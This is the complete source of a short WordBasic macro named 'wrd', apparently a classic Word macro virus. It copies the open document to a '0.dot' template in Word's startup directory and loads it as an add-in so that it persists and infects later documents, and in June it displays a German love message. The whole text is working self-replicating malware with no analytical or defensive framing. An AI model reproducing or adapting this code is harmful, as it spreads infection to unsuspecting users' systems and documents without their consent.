'Macro name: wrd'

Sub MAIN
a$ = DefaultDir$(8) + "\0.dot"
If Files$(a$) = "" Then
CopyFile FileName$(), a$
AddAddIn a$
EndIf
If Month(Now()) = 6 Then MsgBox "Lisa, ich liebe dich!"
End Sub